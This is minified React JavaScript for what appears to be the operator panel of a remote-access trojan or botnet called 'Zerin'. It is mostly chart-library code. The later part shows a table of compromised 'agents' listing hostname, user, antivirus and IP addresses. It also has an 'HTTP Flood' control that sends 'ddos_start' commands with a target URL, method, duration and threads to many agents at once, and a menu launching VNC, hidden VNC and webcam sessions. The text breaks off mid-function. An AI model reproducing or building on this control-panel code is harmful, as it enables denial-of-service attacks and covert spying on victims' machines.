p.createElement(jj,{width:r,height:i,x:o,y:a},t)},g2=p.forwardRef((e,t)=>{var{children:n}=e,r=IW(e,LW),i=Kn();return i?p.createElement(BW,null,p.createElement(v2,{isPanorama:!0},n)):p.createElement($W,Iu({ref:t},r),p.createElement(v2,{isPanorama:!1},n))});function FW(){var e=it(),[t,n]=p.useState(null),r=ye(uT);return p.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),a=i.width/t.offsetWidth;ze(a)&&a!==r&&e(YO(a))}},[t,e,r]),n}function y2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function WW(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?y2(Object(n),!0).forEach(function(r){UW(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):y2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function UW(e,t,n){return(t=VW(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function VW(e){var t=HW(e,"string");return typeof t=="symbol"?t:t+""}function HW(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function pi(){return pi=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},pi.apply(null,arguments)}var KW=()=>(l9(),null);function Du(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var qW=p.forwardRef((e,t)=>{var n,r,i=p.useRef(null),[a,o]=p.useState({containerWidth:Du((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:Du((r=e.style)===null||r===void 0?void 0:r.height)}),l=p.useCallback((u,d)=>{o(f=>{var m=Math.round(u),h=Math.round(d);return f.containerWidth===m&&f.containerHeight===h?f:{containerWidth:m,containerHeight:h}})},[]),c=p.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var m=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(m);h.observe(u),i.current=h}},[t,l]);return p.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),p.createElement(p.Fragment,null,p.createElement(Jo,{width:a.containerWidth,height:a.containerHeight}),p.createElement("div",pi({ref:c},e)))}),YW=p.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,a]=p.useState({containerWidth:Du(n),containerHeight:Du(r)}),o=p.useCallback((c,u)=>{a(d=>{var f=Math.round(c),m=Math.round(u);return d.containerWidth===f&&d.containerHeight===m?d:{containerWidth:f,containerHeight:m}})},[]),l=p.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return p.createElement(p.Fragment,null,p.createElement(Jo,{width:i.containerWidth,height:i.containerHeight}),p.createElement("div",pi({ref:l},e)))}),GW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return p.createElement(p.Fragment,null,p.createElement(Jo,{width:n,height:r}),p.createElement("div",pi({ref:t},e)))}),XW=p.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?p.createElement(YW,pi({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?p.createElement(GW,pi({},e,{width:n,height:r,ref:t})):p.createElement(p.Fragment,null,p.createElement(Jo,{width:n,height:r}),p.createElement("div",pi({ref:t},e)))});function ZW(e){return e?qW:XW}var QW=p.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:a,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:m,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=p.useRef(null),k=it(),[S,N]=p.useState(null),[z,_]=p.useState(null),A=FW(),O=Ux(),P=(O==null?void 0:O.width)>0?O.width:v,I=(O==null?void 0:O.height)>0?O.height:i,U=p.useCallback(C=>{A(C),typeof t=="function"&&t(C),N(C),_(C),C!=null&&(j.current=C)},[A,t,N,_]),D=p.useCallback(C=>{k(PS(C)),k(gn({handler:a,reactEvent:C}))},[k,a]),M=p.useCallback(C=>{k(mh(C)),k(gn({handler:u,reactEvent:C}))},[k,u]),F=p.useCallback(C=>{k(c3()),k(gn({handler:d,reactEvent:C}))},[k,d]),R=p.useCallback(C=>{k(mh(C)),k(gn({handler:f,reactEvent:C}))},[k,f]),W=p.useCallback(()=>{k(MS())},[k]),$=p.useCallback(C=>{k(TS(C.key))},[k]),H=p.useCallback(C=>{k(gn({handler:o,reactEvent:C}))},[k,o]),X=p.useCallback(C=>{k(gn({handler:l,reactEvent:C}))},[k,l]),se=p.useCallback(C=>{k(gn({handler:c,reactEvent:C}))},[k,c]),ue=p.useCallback(C=>{k(gn({handler:m,reactEvent:C}))},[k,m]),ge=p.useCallback(C=>{k(gn({handler:g,reactEvent:C}))},[k,g]),xe=p.useCallback(C=>{w&&k(IS(C)),k(gn({handler:x,reactEvent:C}))},[k,w,x]),Y=p.useCallback(C=>{k(gn({handler:h,reactEvent:C}))},[k,h]),ee=ZW(b);return p.createElement(_3.Provider,{value:S},p.createElement(p_.Provider,{value:z},p.createElement(ee,{width:P??(y==null?void 0:y.width),height:I??(y==null?void 0:y.height),className:Xe("recharts-wrapper",r),style:WW({position:"relative",cursor:"default",width:P,height:I},y),onClick:D,onContextMenu:H,onDoubleClick:X,onFocus:W,onKeyDown:$,onMouseDown:se,onMouseEnter:M,onMouseLeave:F,onMouseMove:R,onMouseUp:ue,onTouchEnd:Y,onTouchMove:xe,onTouchStart:ge,ref:U},p.createElement(KW,null),n)))}),JW=["width","height","responsive","children","className","style","compact","title","desc"];function eU(e,t){if(e==null)return{};var n,r,i=tU(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function tU(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var FS=p.forwardRef((e,t)=>{var{width:n,height:r,responsive:i,children:a,className:o,style:l,compact:c,title:u,desc:d}=e,f=eU(e,JW),m=Cr(f);return c?p.createElement(p.Fragment,null,p.createElement(Jo,{width:n,height:r}),p.createElement(g2,{otherAttributes:m,title:u,desc:d},a)):p.createElement(QW,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},p.createElement(g2,{otherAttributes:m,title:u,desc:d,ref:t},p.createElement(wF,null,a)))});function hh(){return hh=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},hh.apply(null,arguments)}var nU={top:5,right:5,bottom:5,left:5},rU={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,layout:"horizontal",margin:nU,responsive:!1,reverseStackOrder:!1,stackOffset:"none",syncMethod:"index"},iU=p.forwardRef(function(t,n){var r,i=fn(t.categoricalChartProps,rU),{chartName:a,defaultTooltipEventType:o,validateTooltipEventTypes:l,tooltipPayloadSearcher:c,categoricalChartProps:u}=t,d={chartName:a,defaultTooltipEventType:o,validateTooltipEventTypes:l,tooltipPayloadSearcher:c,eventEmitter:void 0};return p.createElement(RS,{preloadedState:{options:d},reduxStoreName:(r=u.id)!==null&&r!==void 0?r:a},p.createElement(pS,{chartData:u.data}),p.createElement($S,{layout:i.layout,margin:i.margin}),p.createElement(BS,{baseValue:i.baseValue,accessibilityLayer:i.accessibilityLayer,barCategoryGap:i.barCategoryGap,maxBarSize:i.maxBarSize,stackOffset:i.stackOffset,barGap:i.barGap,barSize:i.barSize,syncId:i.syncId,syncMethod:i.syncMethod,className:i.className,reverseStackOrder:i.reverseStackOrder}),p.createElement(FS,hh({},i,{ref:n})))});function aU(e){var t=it();return p.useEffect(()=>{t(PW(e))},[t,e]),null}var sU=["layout"];function xh(){return xh=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},xh.apply(null,arguments)}function oU(e,t){if(e==null)return{};var n,r,i=lU(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function lU(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var cU={top:5,right:5,bottom:5,left:5},WS={accessibilityLayer:!0,stackOffset:"none",barCategoryGap:"10%",barGap:4,margin:cU,reverseStackOrder:!1,syncMethod:"index",layout:"radial",responsive:!1,cx:"50%",cy:"50%",innerRadius:0,outerRadius:"80%"},uU=p.forwardRef(function(t,n){var r,i=fn(t.categoricalChartProps,WS),{layout:a}=i,o=oU(i,sU),{chartName:l,defaultTooltipEventType:c,validateTooltipEventTypes:u,tooltipPayloadSearcher:d}=t,f={chartName:l,defaultTooltipEventType:c,validateTooltipEventTypes:u,tooltipPayloadSearcher:d,eventEmitter:void 0};return p.createElement(RS,{preloadedState:{options:f},reduxStoreName:(r=i.id)!==null&&r!==void 0?r:l},p.createElement(pS,{chartData:i.data}),p.createElement($S,{layout:a,margin:i.margin}),p.createElement(BS,{baseValue:void 0,accessibilityLayer:i.accessibilityLayer,barCategoryGap:i.barCategoryGap,maxBarSize:i.maxBarSize,stackOffset:i.stackOffset,barGap:i.barGap,barSize:i.barSize,syncId:i.syncId,syncMethod:i.syncMethod,className:i.className,reverseStackOrder:i.reverseStackOrder}),p.createElement(aU,{cx:i.cx,cy:i.cy,startAngle:i.startAngle,endAngle:i.endAngle,innerRadius:i.innerRadius,outerRadius:i.outerRadius}),p.createElement(FS,xh({},o,{ref:n})))});function b2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function w2(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?b2(Object(n),!0).forEach(function(r){dU(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):b2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function dU(e,t,n){return(t=fU(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function fU(e){var t=pU(e,"string");return typeof t=="symbol"?t:t+""}function pU(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var mU=["item"],hU=w2(w2({},WS),{},{layout:"centric",startAngle:0,endAngle:360}),xU=p.forwardRef((e,t)=>{var n=fn(e,hU);return p.createElement(uU,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:mU,tooltipPayloadSearcher:T3,categoricalChartProps:n,ref:t})}),vU=["axis"],gU=p.forwardRef((e,t)=>p.createElement(iU,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:vU,tooltipPayloadSearcher:T3,categoricalChartProps:e,ref:t}));function yU({agents:e}){const t=p.useMemo(()=>{const i=Date.now(),a=24*60*60*1e3,o=24,l=a/o,c=[];for(let u=0;u<o;u++){const d=i-a+u*l,m=`${new Date(d).getHours().toString().padStart(2,"0")}:00`,h=e.filter(x=>new Date(x.first_seen).getTime()<=d+l).length;c.push({time:m,count:h})}return c},[e]),n=p.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,a=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:a,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=p.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:s.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),s.jsx("div",{style:{height:100},children:s.jsx(Cy,{width:"100%",height:"100%",children:s.jsxs(gU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[s.jsx("defs",{children:s.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[s.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),s.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),s.jsx(Cb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),s.jsx(CS,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsx("div",{style:{width:100,height:100},children:s.jsx(Cy,{width:"100%",height:"100%",children:s.jsxs(xU,{children:[s.jsx(uS,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,a)=>s.jsx(nf,{fill:i.color},a))}),s.jsx(Cb,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),s.jsx("div",{className:"space-y-2",children:n.map(i=>s.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[s.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),s.jsx("span",{className:"text-zerin-text-dim",children:i.name}),s.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function bU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useRef(null),c=p.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=p.useCallback(f=>{t(e.filter(m=>m!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return s.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>s.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r
bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&s.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&s.jsx(s.Fragment,{children:a?s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r
text-xs text-zerin-text placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 transition-all`}):s.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r
text-zerin-text-muted hover:text-zerin-accent\r
border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r
transition-colors`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const wU=["GET","POST","HEAD"],jU=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function US({agentIds:e,agentStatus:t}){const[n,r]=p.useState(""),[i,a]=p.useState(60),[o,l]=p.useState(10),[c,u]=p.useState("GET"),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(!1),[y,v]=p.useState([]),b=t==="dead",w=e.length,j=(N,z)=>{h({text:N,type:z}),setTimeout(()=>h(null),5e3)},k=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const z=(await Promise.allSettled(e.map(A=>Ee(A,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((A,O)=>({agentId:e[O],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(z);const _=z.filter(A=>A.ok).length;g(_>0),_===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${_}/${w} agents (${w-_} failed)`,_>0?"ok":"err")}catch(N){j(N instanceof Error?N.message:"Failed to start","err")}finally{f(!1)}},S=async()=>{f(!0),v([]);try{const z=(await Promise.allSettled(e.map(A=>Ee(A,{command:"ddos_stop"})))).map((A,O)=>({agentId:e[O],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(z),g(!1);const _=z.filter(A=>A.ok).length;j(`Stop sent to ${_}/${w} agent${w!==1?"s":""}`,"ok")}catch(N){j(N instanceof Error?N.message:"Failed to stop","err")}finally{f(!1)}};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),s.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&s.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),y.length>1&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(N=>s.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${N.ok?"bg-emerald-400":"bg-red-400"}`}),s.jsx("span",{className:"text-zerin-text-dim",children:N.agentId.slice(0,8)}),s.jsx("span",{className:N.ok?"text-emerald-400":"text-red-400",children:N.ok?"OK":N.error})]},N.agentId))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),s.jsx("input",{type:"text",value:n,onChange:N=>r(N.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),s.jsx("div",{className:"flex gap-2",children:wU.map(N=>s.jsx("button",{onClick:()=>u(N),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors
disabled:opacity-40 disabled:cursor-not-allowed ${c===N?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:N},N))})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:N=>a(Number(N.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),s.jsx("div",{className:"flex gap-1.5",children:jU.map(N=>s.jsx("button",{onClick:()=>a(N.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors
disabled:opacity-40 disabled:cursor-not-allowed ${i===N.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:N.label},N.value))})]})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",s.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),s.jsx("input",{type:"range",min:1,max:64,value:o,onChange:N=>l(Number(N.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"1"}),s.jsx("span",{children:"16"}),s.jsx("span",{children:"32"}),s.jsx("span",{children:"48"}),s.jsx("span",{children:"64"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:x?s.jsxs("button",{onClick:S,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):s.jsxs("button",{onClick:k,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
text-sm font-medium text-white bg-red-500 hover:bg-red-600\r
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const j2={alive:0,stale:1,dead:2};function kU(e,t,n){let r=0;switch(n.column){case"status":r=(j2[e.status]??3)-(j2[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=So(e.os).localeCompare(So(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const NU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function SU(){const e=ur(),[t,n]=p.useState([]),[r,i]=p.useState(!0),[a,o]=p.useState(""),[l,c]=p.useState("all"),[u,d]=p.useState({column:"last_seen",direction:"desc"}),[f,m]=p.useState("online"),[h,x]=p.useState({x:0,y:0,visible:!1}),[g,y]=p.useState(null),[v,b]=p.useState(null),[w,j]=p.useState(null),[k,S]=p.useState(null),[N,z]=p.useState(null),[_,A]=p.useState("Zerin"),[O,P]=p.useState(""),[I,U]=p.useState(new Set),[D,M]=p.useState(!1),[F,R]=p.useState(!1),[W,$]=p.useState(""),[H,X]=p.useState(""),[se,ue]=p.useState(!1),[ge,xe]=p.useState(null),Y=p.useRef(null),ee=p.useRef(null),C=p.useRef(null),K=p.useCallback(async()=>{try{const E=await oj();n(E),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);p.useEffect(()=>{K()},[K]);const{lastMessage:ne}=p.useContext(ld);p.useEffect(()=>{if(ne&&ne.type==="agent_update"){const E=ne.payload;n(oe=>{const J=oe.findIndex(pe=>pe.id===E.id);if(J>=0){const pe=[...oe];return pe[J]=E,pe}return[E,...oe]}),b(oe=>oe&&oe.id===E.id?E:oe)}},[ne]),p.useEffect(()=>{const E=setInterval(K,15e3);return()=>clearInterval(E)},[K]),p.useEffect(()=>()=>{Y.current&&clearTimeout(Y.current)},[]);const B={total:t.length,alive:t.filter(E=>E.status==="alive").length,stale:t.filter(E=>E.status==="stale").length,dead:t.filter(E=>E.status==="dead").length},ie=f==="online"?t.filter(E=>E.status==="alive"||E.status==="stale"):t.filter(E=>E.status==="dead"),we=[...l==="all"?ie:ie.filter(E=>E.status===l)].sort((E,oe)=>kU(E,oe,u)),_e=t.filter(E=>E.status==="alive"||E.status==="stale").length,L=t.filter(E=>E.status==="dead").length;function de(E){d(oe=>({column:E,direction:oe.column===E&&oe.direction==="asc"?"desc":"asc"}))}function q(E){c(oe=>oe===E&&E!=="all"?"all":E)}function te(E){if(Y.current){clearTimeout(Y.current),Y.current=null,e(`/agents/${E.id}`);return}Y.current=setTimeout(()=>{Y.current=null,b(E)},250)}function me(E,oe){E.preventDefault(),y(oe),x({x:E.clientX,y:E.clientY,visible:!0})}function V(E,oe){var G;if(!g)return;const J=g.id,pe=g.hostname,be=oe==null?void 0:oe.action,ke=oe==null?void 0:oe.tab;if(x(re=>({...re,visible:!1})),y(null),be==="chat"){j(g);return}if(be==="confirm"){S({command:E,agentId:J,hostname:pe});return}if(be==="msgbox"){z({agentId:J,hostname:pe}),A("Zerin"),P("");return}if(be==="vnc"){gx(J).then(()=>{const re=rt(),ae=window.open(`/vnc/${J}`,`vnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&&lt.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start VNC"));return}if(be==="hvnc"){cj(J).then(()=>{const re=rt(),ae=window.open(`/vnc/${J}?mode=hvnc`,`hvnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ae&&re){const Oe=lt=>{var We;((We=lt.data)==null?void 0:We.type)==="zerin_auth_request"&&lt.origin===window.location.origin&&(ae.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start hVNC"));return}if(be==="webcam"){uj(J).then(()=>{const 